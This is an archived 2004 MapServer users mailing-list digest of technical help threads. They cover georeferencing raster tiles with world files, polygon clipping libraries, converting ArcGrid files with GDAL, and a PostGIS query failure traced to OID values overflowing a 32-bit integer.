From antonio.cosenza at polito.it Sat May 1 03:18:20 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Sat, 01 May 2004 12:18:20 +0200 Subject: [Mapserver-users] world files and tile indexing In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E4426@mercator.topozone.com> References: <13858AA1A74F30419F319ACB66A9D1224E4426@mercator.topozone.com> Message-ID: <4093796C.304@polito.it>
It would help if you could explain what you're trying to do!  
ok, i'll try tou explain you my situation!
What
format are the raster files in now, 
The raster files are in jpg format.  They are a set of 3 tiles NOT GEOREFERENCED (of course, they are jpg!). But, i have a shapefile, called tile.shp (so, georeferenced) representing the footprints of  the tiles. In tile.shp, I created a field (Path) including the absoulte path to tiff tiles on my disk (ex. /var/www/.....F4-C4.tif).Now,  i converted the jpg files in tiff files, without the world files. I use this mapfile configuration:

 LAYER
    NAME "pannelli"
    STATUS ON
    TYPE RASTER
    TILEINDEX "./tile.shp"
    TILEITEM "Path"
  END

I run maplab, but an error occurs: unable to open tiff files:

Description
Unable to open world file for reading. in /maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in /maplab/htdocs/common/wrapper/drawmap.php
Unable to open world file for reading. in /maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in /maplab/htdocs/common/wrapper/drawmap.php

So, i created some empty world files! This time, maplab runs without error, but it doesn't show me the tiles. It shows me only a blank page.
Where is the problem?


and what geographic reference data
do you have for them (and in what format)?

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242  

-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza at polito.it] 
Sent: Friday, April 30, 2004 5:43 AM
To: Ed McNierney; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing

so, i need to convert the raster tiles in tiff format, without world
files? Right?

thanks

Ed McNierney wrote:

  
Antonio -

Yes, as long as the georeference information is there for the tile 
index to be created (and for the image to be rendered properly).  
GeoTIFFs can be used in a TILEINDEX layer without world files.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242

-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza at polito.it]
Sent: Thursday, April 29, 2004 2:40 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] world files and tile indexing

Hi everyvody,
is it possible to use tile indexing without world file?

thanks
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


 

    



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

  

From ed at topozone.com Sat May 1 10:39:07 2004 From: ed at topozone.com (Ed McNierney) Date: Sat, 1 May 2004 13:39:07 -0400 Subject: [Mapserver-users] world files and tile indexing Message-ID: <13858AA1A74F30419F319ACB66A9D1224E4446@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C42FA3.3437712E Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Antonio - =20 Thanks - that is very helpful! =20 Things seem fine, but you need to create georeference data for the images in a way that can be used - the JPG files could have world files (.JGW files) or the TIF files could have world files (.TFW) but you need them. You need to create these world files. You should try to read the coordinates from the shapefile (use shpdump) and you need to calculate the values for the world files. With only three files you can relatively easily do this by hand. =20 The shapefile polygons should give you the upper-left corner coordinate of each tile, and you should be able to calculate the size of each pixel in X and Y units from the shapefile polygons and information about how many pixels wide and high each image is (use tiffinfo). =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Antonio Cosenza [mailto:antonio.cosenza at polito.it]=20 Sent: Saturday, May 01, 2004 6:18 AM To: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] world files and tile indexing It would help if you could explain what you're trying to do! =20 ok, i'll try tou explain you my situation! What format are the raster files in now,=20 The raster files are in jpg format. They are a set of 3 tiles NOT GEOREFERENCED (of course, they are jpg!). But, i have a shapefile, called tile.shp (so, georeferenced) representing the footprints of the tiles. In tile.shp, I created a field (Path) including the absoulte path to tiff tiles on my disk (ex. /var/www/.....F4-C4.tif).Now, i converted the jpg files in tiff files, without the world files. I use this mapfile configuration: LAYER NAME "pannelli" STATUS ON TYPE RASTER TILEINDEX "./tile.shp" TILEITEM "Path" END I run maplab, but an error occurs: unable to open tiff files: Description=09 Unable to open world file for reading. in /maplab/htdocs/common/wrapper/drawmap.php=09 Failed to draw layer named 'pannelli'. in /maplab/htdocs/common/wrapper/drawmap.php=09 Unable to open world file for reading. in /maplab/htdocs/common/wrapper/drawmap.php=09 Failed to draw layer named 'pannelli'. in /maplab/htdocs/common/wrapper/drawmap.php=09 So, i created some empty world files! This time, maplab runs without error, but it doesn't show me the tiles. It shows me only a blank page. Where is the problem? and what geographic reference data do you have for them (and in what format)? =09 - Ed =09 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 =20 =09 -----Original Message----- From: Antonio Cosenza [mailto:antonio.cosenza at polito.it]=20 Sent: Friday, April 30, 2004 5:43 AM To: Ed McNierney; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] world files and tile indexing =09 so, i need to convert the raster tiles in tiff format, without world files? Right? =09 thanks =09 Ed McNierney wrote: =09 =20 Antonio - =09 Yes, as long as the georeference information is there for the tile=20 index to be created (and for the image to be rendered properly). =20 GeoTIFFs can be used in a TILEINDEX layer without world files. =09 - Ed =09 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 =09 -----Original Message----- From: Antonio Cosenza [mailto:antonio.cosenza at polito.it] Sent: Thursday, April 29, 2004 2:40 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] world files and tile indexing =09 Hi everyvody, is it possible to use tile indexing without world file? =09 thanks _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu =09 http://lists.gis.umn.edu/mailman/listinfo/mapserver-users =09 =09 =20 =09 =20 =09 =09 =09 _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users =09 =20 ------_=_NextPart_001_01C42FA3.3437712E Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Antonio -
 
Thanks - that is very = helpful!
 
Things seem fine, but you need to create = georeference data=20 for the images in a way that can be used - the JPG files could have = world files=20 (.JGW files) or the TIF files could have world files (.TFW) but you need = them.  You need to create these world files.  You should try = to read=20 the coordinates from the shapefile (use shpdump) and you need to = calculate the=20 values for the world files.  With only three files you can = relatively=20 easily do this by hand.
 
The shapefile polygons should give you the = upper-left=20 corner coordinate of each tile, and you should be able to calculate the = size of=20 each pixel in X and Y units from the shapefile polygons and information = about=20 how many pixels wide and high each image is (use = tiffinfo).
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =



From: Antonio Cosenza=20 [mailto:antonio.cosenza at polito.it]
Sent: Saturday, May 01, = 2004 6:18=20 AM
To: mapserver-users at lists.gis.umn.edu
Subject: = Re:=20 [Mapserver-users] world files and tile indexing


It would help if you could explain what =
you're trying to do!  
ok,=20 i'll try tou explain you my situation!
What
format are the raster files in now, 
The raster files = are in=20 jpg format.  They are a set of 3 tiles NOT GEOREFERENCED (of = course, they=20 are jpg!). But, i have a shapefile, called tile.shp (so, georeferenced)=20 representing the footprints of  the tiles. In tile.shp, I created a = field=20 (Path) including the absoulte path to tiff tiles on my disk (ex.=20 /var/www/.....F4-C4.tif).Now,  i converted the jpg files in tiff = files,=20 without the world files. I use this mapfile=20 configuration:

 LAYER
    NAME=20 "pannelli"
    STATUS ON
    TYPE=20 RASTER
    TILEINDEX = "./tile.shp"
   =20 TILEITEM "Path"
  END

I run maplab, but an error occurs: = unable=20 to open tiff files:


So,=20 i created some empty world files! This time, maplab runs without error, = but it=20 doesn't show me the tiles. It shows me only a blank page.
Where is = the=20 problem?


and what geographic reference data
do you have for them (and in what format)?

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242 =20

-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza at polito.i=
t]=20
Sent: Friday, April 30, 2004 5:43 AM
To: Ed McNierney; mapserver-users at lists.g=
is.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing

so, i need to convert the raster tiles in tiff format, without world
files? Right?

thanks

Ed McNierney wrote:

  
Antonio -

Yes, as long as the georeference information is there for the tile=20
index to be created (and for the image to be rendered properly). =20
GeoTIFFs can be used in a TILEINDEX layer without world files.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242

-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza at polito.i=
t]
Sent: Thursday, April 29, 2004 2:40 PM
To: mapserver-users at lists.g=
is.umn.edu
Subject: [Mapserver-users] world files and tile indexing

Hi everyvody,
is it possible to use tile indexing without world file?

thanks
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.g=
is.umn.edu
http:/=
/lists.gis.umn.edu/mailman/listinfo/mapserver-users


=20

    



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.g=
is.umn.edu
http:/=
/lists.gis.umn.edu/mailman/listinfo/mapserver-users

  

------_=_NextPart_001_01C42FA3.3437712E-- From warmerdam at pobox.com Sat May 1 12:03:03 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 01 May 2004 15:03:03 -0400 Subject: [Mapserver-users] Shapelib, GPC, PHP, and polygon clipping In-Reply-To: <614FCE5F14A6D41180C200010240D6A25B34BE@LINNMS> References: <614FCE5F14A6D41180C200010240D6A25B34BE@LINNMS> Message-ID: <4093F467.7050004@pobox.com> Ryan, Adam wrote: > Steve, Frank, etc... > > A while back Steve Lime wrote in response to a request for polygon clipping > code. > > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0201/msg00094.html > > He suggested using the GPC library. I checked this out and was able to get > it to work. > > Is it worth trying to use GPC with either PHP mapscript or shapelib directly > and write a little routine to grab the shapes in question, convert them to > gpc ascii format, run the clip operation, and convert back to a shapefile > result? In PHP I could build the ASCII files, then call a gpc executable, > and then translate the ASCII result back into a new shapefile. > > Am I exploring old technology? Is there a better way? Seems like a lot of > steps but all the really hard work has been done and it's just a matter of > reformatting data to work with the different tools. Adam, Invoking GPC externally via an ascii file interface may be too slow depending on your needs but it is certainly doable. From a more general point of view, it is my hope to interface the GEOS library (http://geos.refractions.net) with OGR at some point with a convenient mechanism to convert OGR geometries into a form usable in GEOS. So from my point of view a GEOS is the "future" of complex geometry operations in OGR (and indirectly shapelib). In fact, I would like to see a nice SWIG'ed interface to GEOS so that it can be easily used in most/all of the mapscript supported languages. GEOS is the library used by PostGIS for geometry operations, but it is independent of PostGIS. I think it does more than GPC. I was also slightly soured on GPC because of problematic licensing issues as I recall. So, if you have a particular need that is satisfied by passing geometries to GPC then by all means go ahead. However, I don't forsee it as being of strategic value. If you are interested in cooperating on swigged interfaces for GEOS and closer integration with OGR, Shapelib or MapServer geometries then perhaps we could get something going. I hadn't really been intending to get started on this yet though, so you might get stuck doing quite a bit of the heavy lifting. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Sat May 1 12:17:56 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 01 May 2004 15:17:56 -0400 Subject: [Mapserver-users] arcgrid to ascii(etc) In-Reply-To: <1083357821.4092ba7da1ffa@www.agi-lan.com> References: <1083357821.4092ba7da1ffa@www.agi-lan.com> Message-ID: <4093F7E4.6000400@pobox.com> Jason M. Nielsen wrote: > Anyone know of software that can convert arcgrid .adf files to ascii? > _______________________________________________ Jason, GDAL read Arc/Info binary grid files in .adf format and can export a variety of formats including Arc/Info ASCII Grid format which is ... ASCII. eg. gdal_translate -of AAIGrid in_cov/w001001.adf out.grd Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From ljuvrud at info-link.net Sat May 1 16:23:21 2004 From: ljuvrud at info-link.net (Mike Juvrud) Date: Sat, 1 May 2004 18:23:21 -0500 Subject: [Mapserver-users] Looking for reference links and online MapServer/MapScript Forum Message-ID: <000001c42fd3$4d0b5610$a8d17a41@dieter> I'm a MapServer/PHP MapScript newbie, looking for online reference materials, resources, sample code, etc. (beginner to advanced)...I would appreciate links to anything you might recommend. (english or deutsch) (I have already downloaded and gone through the tutorials, references, samples available on the mapserver & mapscript site.) Also - Is there a Mapserver/Mapscript forum/bulletin board online? Will sum, Mike Juvrud From eduardo at consultoria.eti.br Sat May 1 19:58:10 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Sat, 1 May 2004 23:58:10 -0300 Subject: [Mapserver-users] Looking for reference links and online MapServer/MapScript Forum In-Reply-To: <000001c42fd3$4d0b5610$a8d17a41@dieter> References: <000001c42fd3$4d0b5610$a8d17a41@dieter> Message-ID: <20040502025810.10633.qmail@hm47.locaweb.com.br> at the official website , section Documentation, u will find all u're looking for... for deutsch reference , take a look at www.mapmedia.de ... i think they have a book about mapserver. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Sat, 1 May 2004 18:23:21 -0500, "Mike Juvrud" escreveu: > De: "Mike Juvrud" > Data: Sat, 1 May 2004 18:23:21 -0500 > Para: > Assunto: [Mapserver-users] Looking for reference links and online MapServer/MapScript Forum > > I'm a MapServer/PHP MapScript newbie, looking for online reference > materials, resources, sample code, etc. (beginner to advanced)...I would > appreciate links to anything you might recommend. (english or deutsch) > > (I have already downloaded and gone through the tutorials, references, > samples available on the mapserver & mapscript site.) > > Also - Is there a Mapserver/Mapscript forum/bulletin board online? > > Will sum, > > Mike Juvrud > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From cpurvis at asg.sc.edu Sat May 1 19:59:22 2004 From: cpurvis at asg.sc.edu (Charlton Purvis) Date: Sat, 1 May 2004 22:59:22 -0400 Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results Message-ID: Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to see if they have any pearls of wisdom. Everything looks great in the db. If I render a map, I see all the points correctly. If I take that query and plug it in to the command line, I see the rows. But the moment I try to do either a cgi query, WFS query, or a PHP query, I get nothing back. No error message. I'm actually getting panicky which isn't any fun. Has anyone seen anything like this before? Queries rely on OID's and SRID's. Is there any way they could have gotten mucked up? Can I somehow refresh them? Thanks, Charlton -----Original Message----- From: Gregory S. Williamson [mailto:gsw at globexplorer.com] Sent: Sat 5/1/2004 6:20 PM To: PostGIS Users Discussion Cc: Subject: [postgis-users] RE: gone are my query results If you do the query directly to postgres (via psql or pgAdmin or whatever) does the query return results ? If so, then my guess is that this is not a database error, at least not directly. If ot then yes, it would seem that somehow the postGIS itself has gottent snarfled. The change you made relating the geometryColumns doesn't sound to me like it should effect queries unless somehow the SRID info for the tables in your mapserver queries got clobbered; should be easy enough to confirm that this data is ok. I am not familiar enough with PHP and mapserver to have a clue; does the mapserver log itself show anything ? Not much help, I'm afraid, but perhaps posting this to the MMS list would add some more knowledge to the issue at hand ? Greg Williamson DBA GlobeXplorer LLC -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 2:46 PM To: PostGIS Users Discussion Cc: Subject: gone are my query results Hi, folks: Bizarre and unnerving problem here. Up until last night, mapping was fine and point-query was fine. Now it appears that the mapping is still great, but the point query and WFS are toast. I don't get any errors in pgsql.log or php.log. I get . . . nothing. Even going mapserv cgi query returns empty for a query I know should work. Maybe I'm being taught a lesson. In a separate database, I noticed that addgeometrycolumn was taking too long -- I create about 400 smaller tables per day. So I commented out fix_geometry_columns(); from the addgeometrycolumn function and did it once I had finished creating all my new tables. So am I paying the price? Has this corrupted this database as well as my other? If all this is OID stuff, is there any way to refresh all OID's? Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. Thanks, Charlton _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users From gsw at globexplorer.com Sat May 1 20:11:41 2004 From: gsw at globexplorer.com (Gregory S. Williamson) Date: Sat, 1 May 2004 20:11:41 -0700 Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results Message-ID: <71E37EF6B7DCC1499CEA0316A256832801057931@loki.wc.globexplorer.net> If you turn on the logging of statements in postgres and run the mapserver side of things, does the query show up in the logs ? If the query does not appear then I'd suspect networking or permissions or some darn thing keeping postgres from ever seeing the query. It it does show up then maybe the problem is in the return trip to MS or in the processing of that data (perhaps your OID suspicions), since it sounds as if the query itself can be processed. Any changes to *anything* on either server and anything in between ? (not likely but always worth ruling out) Or, shot in the dark, something messing with TOLERANCE so no points are selected in a query ? Very puzzling, I agree. Greg W. -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 7:59 PM To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu Cc: Subject: RE: [postgis-users] RE: gone are my query results Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to see if they have any pearls of wisdom. Everything looks great in the db. If I render a map, I see all the points correctly. If I take that query and plug it in to the command line, I see the rows. But the moment I try to do either a cgi query, WFS query, or a PHP query, I get nothing back. No error message. I'm actually getting panicky which isn't any fun. Has anyone seen anything like this before? Queries rely on OID's and SRID's. Is there any way they could have gotten mucked up? Can I somehow refresh them? Thanks, Charlton -----Original Message----- From: Gregory S. Williamson [mailto:gsw at globexplorer.com] Sent: Sat 5/1/2004 6:20 PM To: PostGIS Users Discussion Cc: Subject: [postgis-users] RE: gone are my query results If you do the query directly to postgres (via psql or pgAdmin or whatever) does the query return results ? If so, then my guess is that this is not a database error, at least not directly. If ot then yes, it would seem that somehow the postGIS itself has gottent snarfled. The change you made relating the geometryColumns doesn't sound to me like it should effect queries unless somehow the SRID info for the tables in your mapserver queries got clobbered; should be easy enough to confirm that this data is ok. I am not familiar enough with PHP and mapserver to have a clue; does the mapserver log itself show anything ? Not much help, I'm afraid, but perhaps posting this to the MMS list would add some more knowledge to the issue at hand ? Greg Williamson DBA GlobeXplorer LLC -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 2:46 PM To: PostGIS Users Discussion Cc: Subject: gone are my query results Hi, folks: Bizarre and unnerving problem here. Up until last night, mapping was fine and point-query was fine. Now it appears that the mapping is still great, but the point query and WFS are toast. I don't get any errors in pgsql.log or php.log. I get . . . nothing. Even going mapserv cgi query returns empty for a query I know should work. Maybe I'm being taught a lesson. In a separate database, I noticed that addgeometrycolumn was taking too long -- I create about 400 smaller tables per day. So I commented out fix_geometry_columns(); from the addgeometrycolumn function and did it once I had finished creating all my new tables. So am I paying the price? Has this corrupted this database as well as my other? If all this is OID stuff, is there any way to refresh all OID's? Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. Thanks, Charlton _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users From cpurvis at asg.sc.edu Sat May 1 20:42:34 2004 From: cpurvis at asg.sc.edu (Charlton Purvis) Date: Sat, 1 May 2004 23:42:34 -0400 Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results Message-ID: OK, Greg, I think we might be onto something. But it still looks very grim. I turned on all the logging, and I notice that MS sends it this query: LOCATION: pg_parse_query, postgres.c:464 LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from sst_map WHERE (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) = date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00') and (label_z <= 5 or label_z is null)) and (the_geom && setSRID( 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') )) OK. That's good. Because if I stick the SELECT part at a psql prompt, I get back the row I want. And I also notice that its OID is 2185295089. But if I look at the last sql statement in the log, it's another cursor, but the OID is wrong. LOCATION: pg_parse_query, postgres.c:464 LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT station_id::text,time_stamp::text,z::text,label_z::text,temperature_celcius::text,temperature_fahrenheit::text,value_temperature_celcius::text,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,institution::text,institution_url::text,institution_dods_url::text,source::text,refs::text,contact::text,report_time_stamp::text,asbinary(force_collection(force_2d(the_geom)),'NDR') from sst_map WHERE OID = 2147483647 So had they kept the OID, I would be in good shape. This isn't looking good!!! Charlton -----Original Message----- From: Gregory S. Williamson [mailto:gsw at globexplorer.com] Sent: Sat 5/1/2004 11:11 PM To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu Cc: Subject: RE: [postgis-users] RE: gone are my query results If you turn on the logging of statements in postgres and run the mapserver side of things, does the query show up in the logs ? If the query does not appear then I'd suspect networking or permissions or some darn thing keeping postgres from ever seeing the query. It it does show up then maybe the problem is in the return trip to MS or in the processing of that data (perhaps your OID suspicions), since it sounds as if the query itself can be processed. Any changes to *anything* on either server and anything in between ? (not likely but always worth ruling out) Or, shot in the dark, something messing with TOLERANCE so no points are selected in a query ? Very puzzling, I agree. Greg W. -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 7:59 PM To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu Cc: Subject: RE: [postgis-users] RE: gone are my query results Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to see if they have any pearls of wisdom. Everything looks great in the db. If I render a map, I see all the points correctly. If I take that query and plug it in to the command line, I see the rows. But the moment I try to do either a cgi query, WFS query, or a PHP query, I get nothing back. No error message. I'm actually getting panicky which isn't any fun. Has anyone seen anything like this before? Queries rely on OID's and SRID's. Is there any way they could have gotten mucked up? Can I somehow refresh them? Thanks, Charlton -----Original Message----- From: Gregory S. Williamson [mailto:gsw at globexplorer.com] Sent: Sat 5/1/2004 6:20 PM To: PostGIS Users Discussion Cc: Subject: [postgis-users] RE: gone are my query results If you do the query directly to postgres (via psql or pgAdmin or whatever) does the query return results ? If so, then my guess is that this is not a database error, at least not directly. If ot then yes, it would seem that somehow the postGIS itself has gottent snarfled. The change you made relating the geometryColumns doesn't sound to me like it should effect queries unless somehow the SRID info for the tables in your mapserver queries got clobbered; should be easy enough to confirm that this data is ok. I am not familiar enough with PHP and mapserver to have a clue; does the mapserver log itself show anything ? Not much help, I'm afraid, but perhaps posting this to the MMS list would add some more knowledge to the issue at hand ? Greg Williamson DBA GlobeXplorer LLC -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 2:46 PM To: PostGIS Users Discussion Cc: Subject: gone are my query results Hi, folks: Bizarre and unnerving problem here. Up until last night, mapping was fine and point-query was fine. Now it appears that the mapping is still great, but the point query and WFS are toast. I don't get any errors in pgsql.log or php.log. I get . . . nothing. Even going mapserv cgi query returns empty for a query I know should work. Maybe I'm being taught a lesson. In a separate database, I noticed that addgeometrycolumn was taking too long -- I create about 400 smaller tables per day. So I commented out fix_geometry_columns(); from the addgeometrycolumn function and did it once I had finished creating all my new tables. So am I paying the price? Has this corrupted this database as well as my other? If all this is OID stuff, is there any way to refresh all OID's? Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. Thanks, Charlton _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users From pramsey at refractions.net Sat May 1 21:08:54 2004 From: pramsey at refractions.net (Paul Ramsey) Date: Sat, 01 May 2004 21:08:54 -0700 Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results In-Reply-To: Message-ID: <6D6EE142-9BEE-11D8-85F1-000393D33C2E@refractions.net> Got your back, Charlton :) The problem is that your PostgreSQL oids are larger than the mapserver row number variable can store. The oid is larger than a signed 32 bit integer can store. So, solution. Do not use oid as your "unique" field. Make use of the "using unique" clause in your data statement, and reference a different unique field in your table. Make sure that field is indexed. If you have loaded your data with shp2pgsql, you probably have a 'gid' field you can use that is a primary key (and therefore already indexed). Yours, Paul On Saturday, May 1, 2004, at 08:42 PM, Charlton Purvis wrote: > OK, Greg, I think we might be onto something. But it still looks very > grim. > > I turned on all the logging, and I notice that MS sends it this query: > > LOCATION: pg_parse_query, postgres.c:464 > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)) > ,'NDR'),OID::text from sst_map WHERE > (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) = > date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00') > and (label_z <= 5 or label_z is null)) and (the_geom && setSRID( > 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105 > 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') )) > > OK. That's good. Because if I stick the SELECT part at a psql > prompt, I get back the row I want. And I also notice that its OID is > 2185295089. > > But if I look at the last sql statement in the log, it's another > cursor, but the OID is wrong. > > LOCATION: pg_parse_query, postgres.c:464 > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > station_id::text,time_stamp::text,z::text,label_z::text,temperature_cel > cius::text,temperature_fahrenheit::text,value_temperature_celcius::text > ,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,ins > titution::text,institution_url::text,institution_dods_url::text,source: > :text,refs::text,contact::text,report_time_stamp::text,asbinary(force_c > ollection(force_2d(the_geom)),'NDR') from sst_map WHERE OID = > 2147483647 > > So had they kept the OID, I would be in good shape. > > This isn't looking good!!! > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 11:11 PM > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > Cc: > Subject: RE: [postgis-users] RE: gone are my query results > > > > > If you turn on the logging of statements in postgres and run the > mapserver side of things, does the query show up in the logs ? > > If the query does not appear then I'd suspect networking or > permissions or some darn thing keeping postgres from ever seeing the > query. > > It it does show up then maybe the problem is in the return trip to MS > or in the processing of that data (perhaps your OID suspicions), since > it sounds as if the query itself can be processed. > > Any changes to *anything* on either server and anything in between ? > (not likely but always worth ruling out) > > Or, shot in the dark, something messing with TOLERANCE so no points > are selected in a query ? > > Very puzzling, I agree. > > Greg W. > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 7:59 PM > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > Cc: > Subject: RE: [postgis-users] RE: gone are my query results > Thanks for your reply, Gregory. I'm forwarding this onto the MS > folks to see if they have any pearls of wisdom. > > Everything looks great in the db. If I render a map, I see all the > points correctly. If I take that query and plug it in to the command > line, I see the rows. But the moment I try to do either a cgi query, > WFS query, or a PHP query, I get nothing back. No error message. > > I'm actually getting panicky which isn't any fun. Has anyone seen > anything like this before? > > Queries rely on OID's and SRID's. Is there any way they could have > gotten mucked up? Can I somehow refresh them? > > Thanks, > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 6:20 PM > To: PostGIS Users Discussion > Cc: > Subject: [postgis-users] RE: gone are my query results > > > > > If you do the query directly to postgres (via psql or pgAdmin or > whatever) does the query return results ? > > If so, then my guess is that this is not a database error, at least > not directly. If ot then yes, it would seem that somehow the postGIS > itself has gottent snarfled. > > The change you made relating the geometryColumns doesn't sound to me > like it should effect queries unless somehow the SRID info for the > tables in your mapserver queries got clobbered; should be easy enough > to confirm that this data is ok. > > I am not familiar enough with PHP and mapserver to have a clue; does > the mapserver log itself show anything ? > > Not much help, I'm afraid, but perhaps posting this to the MMS list > would add some more knowledge to the issue at hand ? > > Greg Williamson > DBA > GlobeXplorer LLC > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 2:46 PM > To: PostGIS Users Discussion > Cc: > Subject: gone are my query results > Hi, folks: > > Bizarre and unnerving problem here. > > Up until last night, mapping was fine and point-query was fine. Now > it appears that the mapping is still great, but the point query and > WFS are toast. I don't get any errors in pgsql.log or php.log. I get > . . . nothing. Even going mapserv cgi query returns empty for a query > I know should work. > > Maybe I'm being taught a lesson. In a separate database, I noticed > that addgeometrycolumn was taking too long -- I create about 400 